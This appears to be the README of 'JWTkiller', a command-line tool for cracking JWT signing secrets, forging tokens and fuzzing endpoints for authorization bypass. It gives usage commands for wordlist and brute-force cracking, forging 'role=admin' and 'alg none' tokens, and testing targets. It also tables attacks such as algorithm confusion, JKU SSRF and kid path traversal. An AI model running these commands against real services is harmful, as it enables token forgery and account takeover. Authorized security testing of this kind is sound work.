████ ███ ████ ███ ███ █ █
█░░░█ █ ░░█ █░░░█ █░░█ ░░█ █ █ ░
████░░█░ ░█░█░░░█░ █░░█░ ░█░ █ ░ ░
█░░░█ █░░ █░█░░ █░█ █░░█░░ █░░█ █ ░
████░░ ███ ░████ ░░██ ░░ ███ ░█ ░ █
░░░░ ░ ░░░ ░░░░░ ░ ░░ ░ ░░░ ░░ ░ ░
░░░░ ░░░ ░░░░ ░░ ░░░ ░ ░
JWT Token Cracker · Forger · Key Sniffer — All in One CLI
Brute-force secrets, forge tokens, detect vulnerabilities, exploit alg confusion
JWTkiller is a multi-purpose JWT security tool for bug bounty hunters, pentesters, and security researchers. It combines token cracking, forging, and vulnerability analysis into a single CLI with a hacker-themed terminal UI.
- Decode — Parse and display JWT header + payload (no verification)
- Crack — Brute-force HMAC signing secrets with wordlists or mask mode
- Forge — Create custom JWT tokens with arbitrary claims and algorithms
- Sniff — Analyze JWT for 10+ vulnerability classes (alg confusion, kid injection, SSRF, etc.)
- Fuzz — Send crafted JWT payloads to endpoints to test authorization bypass
git clone https://github.com/b0dj0x/jwtkiller.git
cd jwtkiller
pip install -r requirements.txt# Decode a JWT
python3 jwtkiller.py decode eyJhbGciOiJIUzI1NiJ9...
# Crack HMAC secret (built-in weak passwords)
python3 jwtkiller.py crack eyJhbGciOiJIUzI1NiJ9...
# Crack with custom wordlist
python3 jwtkiller.py crack eyJhbGciOiJIUzI1NiJ9... -w rockyou.txt -t 50
# Crack with mask mode (a-z, 0-9, len 4-8)
python3 jwtkiller.py crack eyJhbGciOiJIUzI1NiJ9... --mask
# Forge a token
python3 jwtkiller.py forge -s "mysecret" --claims "role=admin" --claims "user=b0dj0x"
python3 jwtkiller.py forge -s "mysecret" --algo HS256 --issuer b0dj0x --expire 86400
python3 jwtkiller.py forge --algo none --claims "admin=true"
# Analyze for vulnerabilities
python3 jwtkiller.py sniff eyJhbGciOiJIUzI1NiJ9...
python3 jwtkiller.py sniff eyJhbGciOiJIUzI1NiJ9... --jwks https://example.com/.well-known/jwks.json
# Fuzz against endpoint
python3 jwtkiller.py fuzz eyJhbGciOiJIUzI1NiJ9... -u https://target.com/api/me| Mode | Description | Key Options |
|---|---|---|
decode |
Parse JWT without verification | token |
crack |
Brute-force HMAC secret | -w wordlist, --mask, -t threads |
forge |
Create custom JWT | -s secret, --algo, --claims, --expire |
sniff |
Vulnerability analysis | --jwks, --remote |
fuzz |
Send crafted tokens to endpoint | -u url, -H header |
JWTkiller checks for:
| Vulnerability | Severity | Description |
|---|---|---|
alg=none |
CRITICAL | Token accepts unsigned tokens — forge any payload |
| Algorithm confusion | HIGH | RS256/PS256/ES256 → HS256 downgrade using public key as HMAC secret |
| JKU SSRF | HIGH | jku header redirects to attacker-controlled JWKS |
| X5U SSRF | HIGH | x5u header redirects to attacker-controlled certificate |
| Kid injection | HIGH | Path traversal in kid parameter (/dev/null, known file) |
| Weak HS256 | MEDIUM | HMAC-SHA256 with short/weak secret |
| Empty kid | MEDIUM | Empty kid may allow HMAC with empty key |
| No exp claim | MEDIUM | Token never expires |
| Long expiry | LOW | Token valid for 365+ days |
| No issuer | LOW | No iss claim |
| No sub/aud | LOW | No subject or audience claim |
| Token expired | INFO | Token has expired |
██╗ ██████╗ ██╗ ██╗███████╗████████╗██╗ ██╗ ██████╗ ██████╗
...
JWT Token Cracker · Forger · Key Sniffer
Made by b0dj0x · https://b0dj0x.cc
Header Analysis
┌──────────────┬────────────────────────┬──────────┐
│ Field │ Value │ Status │
├──────────────┼────────────────────────┼──────────┤
│ alg │ HS256 │ warn │
│ typ │ JWT │ safe │
└──────────────┴────────────────────────┴──────────┘
Vulnerability Checks
┌──────────┬─────────────────┬───────────────────────────────────┐
│ Severity │ Finding │ Details │
├──────────┼─────────────────┼───────────────────────────────────┤
│ MEDIUM │ HS256 weak │ HMAC-SHA256 with short secret... │
│ MEDIUM │ No exp claim │ Token has no expiration... │
└──────────┴─────────────────┴───────────────────────────────────┘
Cracking...
Cracking... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 84/84 0:00:01
SECRET FOUND!
Key: secret
Algorithm: HS256
Tested: 84 secrets
Proof token:
eyJhbGciOiJIUzI1NiJ9...
- Bug Bounty — Find JWT misconfigurations for takeover/bypass
- Pentesting — Audit JWT-based authentication systems
- CTF — Solve JWT-related challenges
- Code Review — Identify weak JWT implementations
This tool is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal.
b0dj0x — Bug Bounty Hunter · OSINT Researcher · Red Team
Made with by b0dj0x